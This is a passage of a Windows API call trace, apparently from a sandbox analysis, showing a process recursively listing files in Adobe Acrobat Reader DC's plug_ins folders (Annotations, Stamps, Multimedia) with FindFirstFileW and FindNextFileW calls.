	[0163.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1
	[0163.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1
	[0163.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0
	[0163.761] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0163.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0
	[0163.762] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0163.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.762] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1
	[0163.762] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1
	[0163.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.762] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.762] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1
	[0163.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.762] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.762] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0163.763] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.763] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0
	[0163.763] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1
	[0163.763] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 0
	[0163.763] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0163.764] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0
	[0163.764] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0163.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.764] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1
	[0163.764] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Checkers.api", cAlternateFileName="")) returned 1
	[0163.764] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DigSig.api", cAlternateFileName="")) returned 1
	[0163.764] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DVA.api", cAlternateFileName="")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eBook.api", cAlternateFileName="")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EScript.api", cAlternateFileName="")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IA32.api", cAlternateFileName="")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1
	[0163.765] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1
	[0163.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.766] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1
	[0163.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0163.766] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb85c4d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flash.mpp", cAlternateFileName="")) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x42e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1
	[0163.767] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1
	[0163.767] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 0
	[0163.767] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0163.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0163.767] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0
	[0163.767] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
